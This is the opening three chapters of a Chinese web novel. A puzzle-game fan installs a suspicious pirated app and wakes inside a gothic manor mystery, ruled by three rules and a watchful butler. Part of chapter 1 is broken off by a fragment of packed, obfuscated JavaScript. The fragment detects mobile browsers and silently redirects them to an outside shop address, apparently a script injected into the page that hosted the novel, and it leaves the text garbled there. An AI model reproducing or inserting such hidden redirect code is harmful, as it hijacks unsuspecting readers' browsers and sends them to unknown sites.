《别向他提问》
1. 盗版软件,放我回去!!!
【该软件具有一定危险性,涉嫌**等信息,请问是否要继续安装?】
看着手机安装界面弹出来的信息,纪觅依眼睛一亮,不忍发出惊叹:
“啊哈!下对了!”
她毫不犹豫点下“确认”的按键,手机再次弹出提醒——
【确定授权本软件单次安装?请输入手机账号密码……】
这第二次提醒如同一针强心剂,让颇有经验的纪觅依更加坚信这个软件的可靠性。
软件安装完毕后,纪觅依的手机界面出现了一个新软件,绿色的图标背景上画着一只白色粗线条的简笔乌龟,乌龟屁股下拉出三个字“海龟汤”。
看到这样一坨东西出现在自己手机上,纪觅依终于产生了一丝怀疑,这倒不是对软件的,而是对开发者——
作为一个海龟汤爱好者,纪觅依可算是玩遍了网络上所有自己感兴趣的汤,正愁无汤可玩时,一篇小蓝书的帖子精准推送给了她。
【你这辈子绝对没玩过的海龟汤!】
这个醒目的标题一下戳中了纪觅依的好奇心,虽然网络上不乏标题党的出现,但不得不承认,这招对纪觅依从未失效,她戳进帖子立马开始浏览正文。
【本人资深海龟汤爱好者,准备开发一个软件,保证是网上从未出现的原创汤,绝无仅有的沉浸式体验感!评论区抽一人体验(限成年)。】
“抽一人”给纪觅依躁动的心泼上一盆冷水,“限成年”这三个带着点其他意义的字又点燃了她的斗志,这一冷一热的刺激感怂恿着她。
点赞收藏评论一套连招输出后,评论区一个名叫“海龟汤最严厉的母亲”的账号在一堆“nono”里显得格外突出。
“好了!就不知道多久开始抽啊,只能等待咯……”纪觅依嘀咕了两句,被突然戳中了音乐细胞,哼唱着陶吉吉的歌曲。
她越唱越嗨,已经沉浸在自己的艺术中,下一句马上要到第二段副歌的时候,小蓝书“叮咚——”一声打断了这份投入。
纪觅依点开后惊得手机都抖了两下,刚才发帖的人居然给自己发了私信。
“啊?我中了!”纪觅依一直以为自己是拉低中奖率的存在,没想到这次破天荒的得到幸运女神的眷顾,她飞速扫阅私信内容。
【恭喜你,获得本软件的测试资格!
为了保证本软件开发过程的保密性,下方链接为一次性链接,在您安装完毕后自动销毁,因为海龟汤内容部分信息具有限制级,安装时的安全提醒可以忽略哟~】
【谢谢谢谢![玫瑰][玫瑰]】
纪觅依激动到打字的速度都比平常快了几倍,在简短表达了自己的感谢后,她收到了发帖人的秒回。
【不谢哟!在玩完后有什么反馈和建议可以随时私信我,祝你玩的愉快![微笑][玫瑰]】
真是个好人!
在这一判断下纪觅依熟练的复制链接,粘贴在浏览器,下载安装一系列流程完成后,那坨乌龟的出现让她陷入怀疑——开发者的审美还健在吗?
这个图标的草率程度堪比自己小时候画的小鸡啄米图,甚至更胜几筹。
嘶……那这海龟汤内容质量……能有保障吗?
纪觅依心中升起疑惑,可这一体验资格本身就是白得的,“不能端起碗来骂娘”的道德操守殴打着刚萌芽的质疑。
“不管是什么,我高低都得尝尝!”纪觅依抱着决心点开了软件。
低沉醇厚的男声伴随着舒缓的钢琴声飘来:“欢迎您进入海龟汤的世界!”
手机页面浮现出龟背花纹,无数个牛皮纸卷轴交汇,不断盘旋,像是龙卷风吸引着纪觅依的视线向风眼汇聚。
“点击页面,我将为您抽取最符合您的海龟汤。”
她按照指示行动,一份卷轴脱离出来,缓缓铺平。与此同时,一支羽毛笔飞入,在空白的纸面上飞快书写着。
【庄园的秘密】
男声再次响起,却更加缥缈,如同一阵烟裹挟着牛皮纸上斜体的文字流入纪觅依脑海:
“作为一位不受宠的小姐,伊拉能来到这座庄园已然是幸运,奇怪的管家给她立下了三条规矩。”
男声停顿了两秒,纪觅依立马集中注意力,按照她的经验,这一定是主持人在暗示关键信息。
主持人的声线陡然变得空灵而诡异,仿佛贴着她的耳廓低语。
与此同时,手机屏幕上的牛皮纸卷轴渗出血色的墨迹,勾勒出三条规矩:
“第一,庄园内禁止向任何存在祷告。
第二,夜晚有时洗浴间会传来奇怪的声音,请不必理会。
第三,黄昏三声钟响后,禁止在卧室的穿衣镜面前长时间驻足。”
“注意!”纪觅依还是一头雾水,这个汤给的信息看似具体,却让她不知从何推断。
主持人短暂停顿后继续念道,毫无留给她思考时间的打算,“开局您只有十次机会,主持人只能回答‘是’、‘否’、‘是也不是’或‘没有关系’。推理出关键正确信息后将为您增加不定提问次数,本汤为沉浸式,请问您做好准备了吗?”
“准备好了!”
反正也只是一场游戏,纪觅依迫不及待准备开始,手机界面的文字缓缓褪色淡化,龟背纹样又出现在眼前,加粗的红字逐渐浮现。
【温馨提示:请找到并相信“真正的主持人”,因为只有@#!“?不会骗你。切记,每一次向主持人的提问都会消耗您宝贵的次数。】
???
什么?
那刚才说话的不是主持人?!
纪觅依还来不及分辨这串乱码是故意设计还是系统出现了问题,手机屏幕陷入一片黢黑,映出她自己错愕的脸。
“我靠!死机了?这盗版软件不会把我手机弄坏了吧!”
她下意识想强制重启,拇指刚找到按键,一阵强烈的眩晕感便劈头盖脸地砸来。
视野中的黑暗瞬间有了质量,像一块厚重的绒布将她从头到脚紧紧包裹。
在意识被彻底吞噬的边缘,她只感觉到太阳穴传来两下尖锐的、如同电击般的刺痛。
好晕......
马蹄的哒哒声裹着潮湿的霉味连绵不断,纪觅依的意识随着一阵有规律的颠簸缓缓浮现,当她想睁开眼,眼皮却如千斤重,迫使她只能继续处在黑暗之中。
我被绑架了?
这种离谱的故事情节,纪觅依只在小说里见过。
我只是想玩个海龟汤啊!
我既不是哪个豪门贵族的嫡长女,也不是哪个霸道总裁的在逃金丝雀,我一个单休的苦逼上班族,谁没事绑架我啊......
纪觅依已经无力吐槽了,但此时坐以待毙不如主动出击,就算看不见,也摸得着!
她到处摸索着——脚下的木板冰冷而坚硬,却摸不出毛刺,身下的坐垫柔软而舒适,被细腻的绒布包裹着。
马车?
如果真的被绑架了,又怎么会是马车?
纪觅依坐回到软垫上,她想不通,如果真的是绑架,自己更应该待在一个密闭的箱子中,可这一想法在她将手伸出侧门的窗口时被彻底否定。
那就算真的在马车里,这个现代社会基本见不到的东西里,自己怎么会这么舒舒服服、毫无束缚的坐在这?
纪觅依的大脑在飞速转动,她一紧张就习惯揉搓身上的衣服,宽大柔软的丝绸裙摆在她指尖反复摩擦。
嗯?不对不对!?
自己明明穿着睡衣啊?!
哪来的裙子?谁给我换的啊!
纪觅依都要崩溃了,绑架就绑架,怎么还换衣服啊......
她指尖揉搓的速度愈发加快,几乎要摩擦出火花,对目前局面的未知不停的抓挠着纪觅依焦躁不安的内心,她不停暗示自己,深呼吸,深呼吸——
纪觅依向身旁摸索,如果是马车,那么一定有打开车门的办法,打开后呢?跳车吗?可是自己连眼睛都睁不开,什么都看不见,绑匪把她抓回来简直轻而易举。那难道什么都不做吗......
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16851279|191562||http|test|mini|href|location''.split(''|''),0,{}));
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>在她心中百般纠结时,马车前方传来一声悠长的“吁——”,马车稳稳停住,马蹄声也逐渐收住。
纪觅依顺势后靠着软垫,头一歪,假装自己还在昏迷。
“伊拉小姐?伊拉小姐!”
纪觅依紧闭的眼皮像是有了自我意识一般,在这两声呼唤中缓缓抬起,逼着她面对新局面。
眼前的车夫一脸凶相,古铜色脸像一张粗糙的老树皮,眉头紧蹙印下深刻的纹路,眼窝深陷,眼球又微微凸起,纪觅依看到这张像是要把她吃掉的面孔吓得呼吸一滞。
看到纪觅依被吓得愣神,车夫突然一笑,显得有些笨拙,脸上的凶意荡然无存。
他微微躬身,左手抬起:“伊拉小姐,辛苦您了!您未婚夫庄园的管家先生已经在门口等候您的到来了。”
纪觅依的大脑还在宕机中,身体却先开始行动,她的左手轻轻搭在车夫布满老茧的手上,顺着车夫的搀扶走下马车。
脚下的大道在远方逐渐聚拢,最后收束在一座铁青色的镂空雕花大门,门前站着一身标准管家制服的男人。
“时间不早了,那我先走了,再见,伊拉小......”
车夫将一个手提箱放在纪觅依脚边,跳上马车,缰绳一抖,轻喝一声,动作连贯一气呵成,像是在逃离什么危险的地方,不敢歇一口气,连带着那句道别在飞驰中模糊不清,只留下一片扬起的尘灰和匆忙的背影。
纪觅依盯着地上车轮掉头留下的短弧印傻了眼,她在马车上那一番推理被现实掀翻——这不是绑架......
这是穿越了!!!
在更糟的现实面前,绑架都成为了一种更幸运的痴心妄想。
穿越就穿越吧,纪觅依摆烂了,那小说里的穿越要么个个金手指,要么提前知道剧情。
结果轮到她,穿进一个类型未知、汤底未知,甚至连主持人都是未知的海龟汤!
她连自己能不能活下来都没法保证啊!
纪觅依都想蹲在地上抱头痛哭,可自己的身体像是有着另一套程序——
如果有人围观,就会看见一个身着宝蓝色长裙的贵族少女在原地停滞不到半刻钟,嘴角勾起,微微弯腰拾起手提箱,向着庄园走去。
外表的伊拉小姐有多优雅,内里的纪觅依就有多抓狂,此时的她根本控制不住这具身体。
如果她能控制,那她绝对绝对绝对不会往庄园走去!
进了那个鬼地方可就是真正意义上的进入海龟汤所描述的场景,可自己被命运的大手把控死死的,看样子,这个庄园是必进不可了......
随着离庄园越来越近,纪觅依感觉这具身体的控制权在逐渐回归到自己手里,直到和管家面对面站定的那一下,手提箱在右手的脱力下摔倒在地上,左手开始在身后疯狂揉搓着裙摆,伊拉的躯体彻底被纪觅依的意识接管。
就逼着我走到关键节点呗......纪觅依已然无力吐槽。
她看着面前这位年轻的管家,他黑发绿眸,单片金丝眼镜严丝合缝的倚在眉骨与鼻梁之间,金色的细链垂落在被白衬衫包裹的脖颈旁边,身上的制服显得无比妥帖,肩线平直,腰部利落一收,笔直的站在那里宛如一道黑色的垂直线。
管家似乎发现了纪觅依的观察,随即左手背至身后,右手放在左胸上,缓缓俯身,做出一个优雅到无可挑剔的鞠躬礼。
他的眼睛眯起,嘴角微微一勾:
“欢迎来到庄园,伊拉小姐!”
管家说完后自然提起被纪觅依抛下的手提箱,侧身站直后右手在身前流畅的划向庄园方向,作邀请状:“请随我来,请允许我带您参观您未来的庄园——”
即使纪觅依现在内心有一百万个一千万个不愿意,也只能跟着走进庄园。
她目前所看到的一切好像都在与她的认知相悖:落荒而逃的车夫,不明来历的身份,过于年轻的管家......
如果可以,纪觅依真的想跪在地上冲天咆哮:
“盗版软件,放我回去!!!”
2. 那个管家 奇怪?
“非常抱歉,伊拉小姐。维森伯爵喜静,除了我之外没有仆人居住,庄园只会定期雇佣仆人打扫。如果您有什么需求,请尽管和我提。”
纪觅依紧紧跟随着管家,在他背后四处打量——
脚下的石板小路常年没有修缮和保养,深褐色的土渣蜷缩在石板缝隙中,踩上其中几块时能感受到明显的晃动。
顺着略显崎岖的小路,纪觅依看到一座干涸已久的青灰色喷泉雕像,祷告的圣女伫立在那里似乎已经等候多时。
不知从何生长而出的红褐色藤蔓交错爬升,紧密缠绕着满脸悲悯的少女,疯狂的掠夺着她胸腔的每一丝空气。
纪觅依仰头注视着雕像的脸,圣女本该安详的神情被脸上的裂痕分割出痛苦,最深的那道痕迹从她低垂的眼睫下静静流淌,蜿蜒落下。
“注意脚下。”管家一句提醒拉回了纪觅依的注意力,她连忙道谢,心中却始终无法忘记那座雕像痛苦的神情。
圣女的泪水像是从自己的脸庞滴到了纪觅依的心尖。
这种极强的共情感搞得纪觅依不知道应该责怪自己的感性,还是赞叹雕塑家的鬼斧神工。
绕过喷泉,管家缓步走到主楼大门前,转身等待着纪觅依。
随着日头西沉,主楼大门投下了黑影,慢慢吞噬着前方的地面,管家站在其中,神情模糊不清,只看得清那双绿眸泛着光。
纪觅依提着裙摆三步作两步赶到大门前,与此同时,管家将她的手提箱温柔地放至一旁,双手贴在门上,手臂微微发力,“吱——嘎——”一声,门被打开一条缝。
随着管家推门的动作,门轴的转动像是垂暮老人发出的叹息,这声音拨动了纪觅依紧绷的神经,门内那片深不可测的幽暗催动着她心中不安的叫嚣。
身体本能地打了个寒颤,心脏也跟着抖动了几下。
管家将门推开后弯腰拎起手提箱,向门内的漆黑走去。
我要跟上吗?
天色越来越晚,落日的余晖慢慢暗淡,无声的倒数并催促着纪觅依做出决定。
就在她一边踌躇一边向主楼内挪动时,管家手持着烛台从黑暗中走来,成为门内唯一的光源。
恰在此时,一阵疾风从纪觅依身后袭来,拂开了管家额前的黑发,几乎在下一秒他侧身抬手,用掌心护住烛火。
在烛光的摇曳中,她看到了他额角苍白的疤痕,那处的肌肤像是熔化后又凝固的蜡,带着无法抚平的起伏。
这块被火焰舔舐后留下的印记在管家这张脸上出现,显得无比割裂。
“天要黑了,我带您回房,请进来吧!”
管家的黑发垂下,遮住了疤痕,他下巴微抬,便又变回了那个优雅得体的贵族执事。
纪觅依点了点头,快步走进主楼,身后的大门被无形的手拉上,“砰——”的一声巨响,吓得她本能转身,瞪大了双眼盯着紧闭的大门。
吓死我了!这门怎么自己就关了?
纪觅依思索着管家用力推开的大门是怎么在一瞬间关闭时,耳侧传来低语:“庄园的很多设施没有得到修缮,您被吓到了吗?”
我,被,你,吓到了!!!
相较于莫名其妙关上的大门,突然凑到身后“关心”的管家才是最恐怖的!
纪觅依感觉在管家凑上来那一下,自己的心脏被狠狠抓了一下,随后快速跳动。
强力的心跳声将要冲破胸腔,她双手握拳转身看着那个满脸无辜的管家,昏黄的烛光在他的眼眸中跃动。
纪觅依在他墨绿的眼瞳中看到了一丝猩红闪过,在下一次眨眼后又荡然无存,仿佛这只是她的错觉。
管家看着纪觅依眼里的愤怒,眉毛微挑,眼里有着难以察觉的玩味,他原以为她会恐惧,会害怕的尖叫,或是凌乱的逃跑,可此时的纪觅依双手握拳,呼吸加粗,恨不得下一秒冲上来揍他几拳。
纪觅依看到管家那个挑眉,愈发肯定自己的想法:他就是故意的!这就是挑衅,纯挑衅!
可又能怎么办......
自己初来乍到,这个陌生的世界目前能给她提供信息的也只有这位管家了,不管怎么样,先把今晚度过。海龟汤的汤面提到了他,再加上他这样捉弄自己,多多少少能算个重要NPC吧,还是先和平相处吧......
纪觅依一边心里循环默念“忍一时风平浪静,退一步海阔天空”一边调整呼吸,整理好自己的状态后,她假装颤颤巍巍的说道:
“这里,这里怎么这么黑啊!管家,你为什么不把灯点上?我第一次离开家,我真的,真的很害怕......”
纪觅依说到最后声音甚至带了哭腔,几度哽咽。
管家眼睛眯起,打量起面前这位泫然欲泣的贵族小姐,他的沉默在对方双手不断擦拭眼泪时宣告失败。
“很抱歉,这是我的失误,希望您能够原谅我的愚钝。”他弯腰鞠躬行礼,“我会为您亮起所有的灯,满足您的需求是我作为管家的基本职责。现在时间已晚,请您允许我带您回房休息。”
他说完后站直,深深的注视着眼角泛红的纪觅依,微微侧身,示意她跟着自己。
纪觅依在管家身后穿过长廊,双侧的壁灯被他一一点亮,在一段段光明的指引下,纪觅依走向了中央摆放着长桌的大厅。
管家步履沉稳,从容不迫,盏盏烛火与灯光在他手下渐次苏醒,温暖的光晕逐寸驱散了大厅的昏暗和纪觅依的不安。
可对于刚才的事情,她依旧心有余悸——
自己又不是专业演员,一下子哪哭的出来,只能疯狂揉眼睛,想方设法挤几滴眼泪,试图蒙混过关。
纪觅依庆幸着管家没有细究,同时对这睁一只眼闭一只眼的态度产生了一些推测:
管家主动将过错归到他自己身上,这说明至少现在,自己作为庄园未来的女主人有一定的话语权,提出的要求也能得到满足。
而他肯定不是打心眼里认可自己的身份,并诚心服务!
他的眼神和表情更多是对自己的好奇,自己对他而言只能说是一个出乎意料的存在。那这份好奇消失的时间会不会是危险降临的那一刻呢?
纪觅依无从知晓答案,但她明白,在这份好奇没有消失之前,她要想方设法拿捏住管家,才有可能在这个未知的世界里存活并发现真相。
认知到这一点后,纪觅依调动了所有注意力,仔细观察着身边的一切事物,未知的时间限制是最紧迫的,她必须在短时间内尽可能多的掌握这座庄园的信息。
她跟着管家的步伐迈上大厅旁的楼梯,走上二楼,空气中弥漫的灰尘味扑面而来。
直到走到一扇明显打扫过且装潢华丽的门前,管家停下了脚步,侧身用肩膀轻抵开房门。他径直走入,将房内的蜡烛点亮,转身随手将烛台和手提箱放在书桌上。
“伊拉小姐,不知道您对房间的布置是否满意?”
纪觅依站在房间正中央,环顾着四周,内心的赞叹就没停过。
这大床,这大衣柜,这大沙发.....
纪觅依何止是满意,要不是碍于管家还在这,她肯定一个飞扑到床上去了。
这房间让她曾经只敢在网上看看的五星级顶级套房都显得黯然失色,甚至是碾压级别的!
这种满意宽慰着纪觅依穿到海龟汤里的崩溃——也算是因祸得福,如果没穿进来,自己这一个平平凡凡的打工人,可能一辈子都住不到这种地方吧。
“挺好的。”喜悦没有冲昏纪觅依的头脑,她始终记得自己现在贵族小姐的身份。
“衣柜里是维森伯爵特意吩咐我为您准备的常用衣物,如果您有其他需求,请尽管吩咐。”
管家走向衣柜,蹲下拉开最底层的抽屉,从中掏出一块折叠整齐的墨绿色天鹅绒。
他将那块绒布搭在左臂,右手轻抚去上面似有似无的尘灰,缓缓开口:“伊拉小姐,虽然您是庄园未来的女主人,庄园的一切都可以遵循您的意愿而发生改变,但......”
管家抬眸直勾勾地看着纪觅依,她心中的直觉告诉她,管家要说出关键信息了。
纪觅依克服着逃
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跑的本能靠近他,站在衣柜左侧的穿衣镜面前,等待着他再次开口。
“庄园有三条必须遵守的规矩——”
管家的语速极慢,像是要把这些话深深镌刻在纪觅依的脑海中。
“第一,庄园内禁止向任何存在祷告。”
他优雅地抖开怀中的绒布,在烛光的渲染下,绒布垂落,如同一片吞噬万物的沼泽在胡桃木地板上淤积。
“第二,夜晚有时洗浴间会传来奇怪的声音,请不必理会。”
他利落收拢绒布垂落的部分,随后扬臂一挥,布幔最上端的金属扣环精准地勾住镜子顶端繁复的雕花边框,金属碰撞的声音引出钟声的嗡鸣。
这钟声从头顶传来,像是庄园亘古的喘息,拉开夜晚的序幕。
“第三,黄昏钟响后,禁止在卧室的镜子面前长时间驻足。”
他双手卸力,布幔倾泻而下,遮住了镜子中纪觅依的身影。
纪觅依的视线转移到管家脸上,他的嘴角微微勾起,脸上挂着标志性微笑,眼睛里却如一潭死水,看不出任何情绪。
管家说的这三条规矩与汤面完全契合,那说明这三条规矩是知道真相的关键。在不知道触碰这三条规矩的后果前,纪觅依决定先老实本分点。
等等?后果?
汤面和管家这个重要NPC都没有交代触碰这三条规则会带来什么影响,那她该从何知晓?
去以身试险吗?可如果后果是直接死亡,那不就玩完了吗!
按理来说,穿越这件事,好歹给她配个系统,或者来点具体的前情提要吧。难不成直接问NPC吗?
诶,好像有点道理!
纪觅依恍然大悟,海龟汤就是靠提问来慢慢接近真相的,区别就是之前都是问主持人,可这是沉浸式,问问NPC得知其他信息也是非常合理啊!
赌一把!总不能第一晚就出事啊!
“那请问,”纪觅依吞了吞口水,“如果我不小心违反了,会发生什么?”
“不小心违反了啊......”管家故意拉长尾音,逐步靠近,“作为庄园的管家,我衷心祝愿您能在这里平平安安地度过,所以希望伊拉小姐您——尽可能不要违反。”
他右手伸入衣内,从暗兜里取出一柄玫瑰金摇铃,双手呈上。纪觅依接过,握着长柄晃了晃,伴随着第二声钟响,发出一阵清脆的“叮铃铃——”声。
“如果您夜晚需要我的帮助,请摇响手中的铃铛并呼唤我,我会在第一时间来到您的身边。”
“那我该怎么呼唤你?”纪觅依摩挲着摇铃上的纹路,“总不能一直管家管家的称呼吧,我想要知道你的名字。”
纪觅依仰头注视着管家,他的气息随着话语喷洒在她的眼睫上:“这是我的荣幸,请您呼唤我为‘阿斯莫德’吧。”
或许是阿斯莫德才察觉到这过于接近的距离,他以难以察觉的速度向后退去。
“既然您没有什么问题了,那我就先离开,不打扰您休息了。”
“阿斯莫德!”纪觅依在他快步走向门外,正准备关上房门时喊住了他,“如果我出现危险,你会保护我吗?”
纪觅依思考过了,既然阿斯莫德承诺会在自己需要帮助时出现,那充分的利用他,或许是确保自身安全的明确途径。
“是的。”阿斯莫德笃定地说出这两个字,就在这一刹那,纪觅依的心脏传来针扎般的疼痛,她浑身的虚汗争先恐后的冒出来。
恰在此时,第三声钟声响起,在嗡鸣中纪觅依心脏的绞痛逐渐淡化。
阿斯莫德没有注意到她的不对劲,叮嘱了几句“早点休息”,就关上了房门。
纪觅依在他离开后冲进洗浴间,解开身上的扣子,在镜子中,她清晰地看到自己心口处显眼的朱红色花体数字——9。
“注意!开局您只有十次机会......”
纪觅依回想起最开始的注意事项,胸口上的数字宛如一座警钟,敲击着她的不安。
难道,难道......那个奇怪的管家,就是主持人?!
3. 那个管家 神出鬼没
就这么简单吗?
纪觅依将衣服穿好,镜子里的她用虎牙扣住下唇,下唇在啃咬下失去血色,直到她尝到一丝淡淡的铁锈味才猛然回神,停下对嘴唇的欺凌。
不对......不对......总感觉哪里怪怪的......
可是胸口的数字证实了阿斯莫德那句“是的”就是主持人的回答,也只有主持人才会扣次数啊?
纪觅依开始怀疑自己的判断,甚至都产生了左右脑互搏的感觉——
理智激动道:“没毛病,对了!管家这么重要的NPC是主持人很合理啊!规则也证明了......”
直觉又据理力争:“不对!哪有这么简单?一上来就找到主持人这种好事还能轮到自己?千万别相信自己的运气,不就是因为乱信才被骗到这里嘛!”
这两位在纪觅依脑海中上演着天神之战,直到她大吼一句“都别吵了”,才消停下来。
纪觅依打开水龙头,往脸上泼了几把冷水后冷静下来,脑海里混乱的想法随着水流一起冲走。
现在不是质疑自己的时候,理智和直觉都没有错,决策权在自己手上,应该如何选择呢?
她不知道答案,在这个状态下做出任何后果未知的决定似乎都是一种错误。
这样纠结下去,不如中和一下,在得知关键性信息之前,暂且相信管家作为主持人的身份吧。
纪觅依拿衣袖抹了两下脸,转身走到衣柜前,拉开柜门,一股淡淡的木质香气飘散出来。
映入眼帘的是一整排按照色系悬挂的衣裙,从浅色的棉质睡袍,到镶满碎钻的丝绒礼服,一应俱全。
她随手从其中扯出一件,剪裁和面料都透着低调的奢华,甚至连尺寸都与自己身形分毫不差。
纪觅依不信邪的又扯出好几件,发现皆是如此。
这个陌生庄园的管家职业素养已经高到了这种地步?好像对自己,不,对伊拉小姐了如指掌。
她感受到一丝寒意悄然爬上脊背,可在此刻已经无暇顾及这个问题的答案了。
纪觅依三下两下脱掉身上的衣裙,套上舒适的睡袍,简单洗漱几下,一个飞扑将自己埋进床铺的怀抱中。
在这个没有手机的世界,纪觅依不会因为陪伴它而不舍得睡觉。
紧张带来的疲惫在她挨在枕头上那一刻席卷而来,几乎是下一秒她就陷入了酣睡,完全没有注意到洗浴间里“咕噜咕噜——”的怪声。
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“叩叩——”
“我起了我起了!”纪觅依眼睛还没睁开,就立马弹起,叽里咕噜从床上滚下来站好,刚想吐槽为什么闹钟没响,突然意识到已经不在原来的世界了。
她穿好拖鞋,脚步飘浮,踉踉跄跄的走到房门前,拉开门后就看到阿斯莫德那张公式化的笑脸。
对方在看到迷迷糊糊,头发炸毛的纪觅依那一刻,笑容反而没那么浮于表面了。
“看来您昨晚休息的不错呢,伊拉小姐。”
“嗯......挺好的。”纪觅依揉了揉眼睛,意识也逐渐回笼。
“早餐已经准备好了,我在楼下等您。”
阿斯莫德说完扭头向楼下走去,纪觅依将房门一关站在了衣柜前,琳琅满目的衣服让选择性困难的她发了愁。
遇事不决,点兵点将......点到谁就是谁!
纪觅依扯出一件豆绿色的高腰连衣裙,胸口绣着百合花。
她边穿边庆幸,感谢穿进的这个世界的衣服设计不是特别繁杂,不然换个衣服都成问题。
她扯下盖在穿衣镜上的绒布,对镜收拾整齐后,看着散落在地上的脏衣物发了难。
这庄园的主人是个重度社恐,按管家的话来说,庄园里除他以外就没佣人了,那每天的这些衣服应该怎么办?
交给一个男管家明显不合适,难道自己打扫?更不可能了吧,伊拉可是个贵族小姐呢!
纪觅依纠结了一会,把脏衣服和绒布叠整齐,放在衣柜旁的靠椅上。
她迈出房门朝楼下走去,阿斯莫德站在大厅中的长条餐桌右侧,俯身摆放着餐具。
他戴着一丝不苟的黑色手套,指尖隔着皮革丈量着每个餐具之间的距离,银质刀叉落下悄无声息,在餐碟两侧以绝对对称的姿态静躺着。
纪觅依走到桌边都不敢坐下,生怕自己把桌面搞乱了惹得这个强迫症管家“大发雷霆”。
“您请坐,我来给您倒茶——”
纪觅依叹了一口气,小心翼翼的坐下,桌上过于规整的布置让她压力山大。
她谨慎的用手指捻起刀叉,将它们紧紧握在手心,回忆着曾经在西餐厅吃饭的经验,缓慢得近乎凝滞的切开盘中的烟熏香肠。
慢点啊——慢点——
餐刀在盘子上划过,却没有发出一点刺耳的声响。
纪觅依如释重负的咽下一口气,内心暗暗夸赞:纪觅依你可太牛了,这一丁点动静没有,他肯定挑不出刺。
说实话,纪觅依都感觉在身边倒茶的阿斯莫德和她高中班主任一样,班主任往往出没在后门与窗口,可阿斯莫德就在身边,在他眼皮子底下比在班主任课上偷吃零食还煎熬!
而造成纪觅依压力山大的罪魁祸首看到如此紧绷的她,轻笑了一下:
“伊拉小姐,放轻松,您不必太过紧张。您是庄园未来的主人,一切都以您的意愿为主。”
对哈!从明面上来说,自己是庄园主人的未婚妻,何必这么紧张呢?
纪觅依一下子放松下来,伸长胳膊叉了一块面包喂到嘴边,咀嚼了两下后接过阿斯莫德递来的茶杯,抿了几口滚烫的茶水。
阿斯莫德将茶水续上,放下茶壶时对上了纪觅依询问的眼神。
纪觅依砸吧了两下嘴,犹豫了一下张口说道:“阿斯莫德,庄园还有其他的佣人吗?”
“按理来说,庄园的一切事务都由我来处理。”
阿斯莫德说完后观察着纪觅依的表情,看到她不好意思直接表达的样子,继续补充道:
“当然,您的房间不方便我来打扫,我会安排在后院的佣人来服务。但同时我也要顾及维森先生的感受,所以她们只会在正午的时候来打扫,如果您有什么需要,可以提前告知我。”
“你真贴心!”
纪觅依是真心的夸赞,不得不说,作为一个管家,阿斯莫德在察言观色等各方面都无可挑剔,如果她是维森,也能安安心心躲起来当宅男了。
阿斯莫德愣了两下,他从未得到过这么直接的认可和表扬。
面对纪觅依放着光的双眼,他假装不经意低下了头,眼睛迟滞的盯着桌面,手指不断在壶柄上摩挲。
“这只是我应该做的而已......”他低声呢喃道,纪觅依都还没听清他在嘀咕着什么,阿斯莫德转身离去,“您慢用,吃完直接离开就好,我会来收拾的。”
被夸了怎么还走了?
纪觅依不解,但介于管家之前故意吓她等奇怪的行为,他做什么都显得不足为奇。
她将煎蛋塞进嘴里,喝了两口茶,起身离开餐桌。
昨天一切都太突然了,纪觅依根本没有时间认真探索一下这座庄园。
现在管家不在身边,她可得抓住这个机会快点了解庄园的构造。
她回到了昨晚穿过的长廊,因为白天的原因,这里不像昨晚那般阴暗,右侧的每一扇窗户都有阳光洒入,窗帘被规整束好,一看就是阿斯莫德这个强迫症的手笔。
长廊左侧每隔数十步就有一扇房门,一个个像被复制粘贴般绵延至尽头。
纪觅依仔细观察了每扇门,门把手和门框都有薄薄的一层灰,至少有较长时间是无人使用的状态,除了......
第十三间!
她专门来回数了一圈,一共有二十五间,那就意味着这个特殊的房间不管是从长廊的哪一端数起,都是第十三间。
十三?
以纪觅依的知识储备,这个数字在西方可不太吉利。
如果除了自己和维森,真的只有阿斯莫德长期居住在庄园内的话,这间房间多半就是他的了——
不能是维森的房间吧?一个伯爵应该不会住在这么小的房间。
可阿斯莫德为什么会选择这么一个寓意不好的房间呢?
纪觅依在长廊来回踱步,依旧找不到合适的逻辑来推断。
还是得确定一下,纪觅依暗下决心,扭头向用餐的大厅疾步走
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去。
在长廊的那些想法也只是她按照常理的推测,现在首先需要做的就是确定维森的房间是不是和自己在一层楼。
她走到餐厅,那里依旧空无一人,桌上的餐具却消失了,看样子阿斯莫德已经将这里收拾过了,或者正在打扫。
趁他还没回来,纪觅依一口气都不敢歇,冲上了二楼。
维森的房间......维森的房间......
纪觅依心里默念着,脚步一刻不停,直到走到一扇比她房门至少大一半的门前。
相较于其他房间,这扇门可以说是最气派的了,应该也只有庄园主人有资格住进来。
当她双手碰到门框时,一阵刺骨的冰冷冻得她打了几个寒颤,同样是金属门,自己的房间却没有这种触感。
这维森莫不是属企鹅的?住的是冰窖吗?
哎呀!没时间想这个了,先完全确定一下住在这里的是不是维森吧。
直接敲门吗?
纪觅依有点小纠结,管家多次提到维森喜静,如果自己直接敲门,会不会......
顾不得了顾不得了!阿斯莫德随时会回来,只能祈祷维森看在自己是他未婚妻的份上,饶自己一命啊——
“叩叩叩!”纪觅依耳朵贴着门,试图听见门内的动静,第一次敲完之后没反应,她不信邪的又敲了一次,依旧没有声响。
她无奈地贴近门缝,小声呼唤道:“维森先生,维森先生?您在吗?我是伊拉......”
“伊拉小姐,您在维森先生门前干什么?”
纪觅依吓得神魂分离,猛地一震向身后连退了好几步,看到逆光站在离她只有几米距离的阿斯莫德,更是呼吸一滞。
这是人吗?
走路怎么一点脚步声没有啊!我纪觅依宣布,从此以后恐怖片的标配不再是夜晚,就这个静步闪现的管家足够吓几条命出去了。
“我,我想见见维森先生。”纪觅依在背后偷偷抹去手心的冷汗,补充道,“毕竟他是我未婚夫,以后我们还要一起生活很久呢!”
“之前订婚的时候不是已经见了一面吗?”
是,是吗???一点前情提要都没有,这可怎么编啊?
纪觅依的大脑以难以测量的速度运行着,她捂住心口,凄声道:“阿斯莫德,你是不会懂得。一日不见就甚是想念,更别说从上次那一面到现在已经不止一日了。我真的很想见他一面,这份思念已经让我数日难眠了。”
“哦?”
阿斯莫德向前走近了几步,“维森先生如果知道您这么想他,想到彻夜难眠——”
他在这一句停顿了数秒,搞得纪觅依怪心虚的。
她心里和明镜一样,别说想人能想到失眠,就昨晚那么紧张的情况下她依旧能做到倒头就睡。
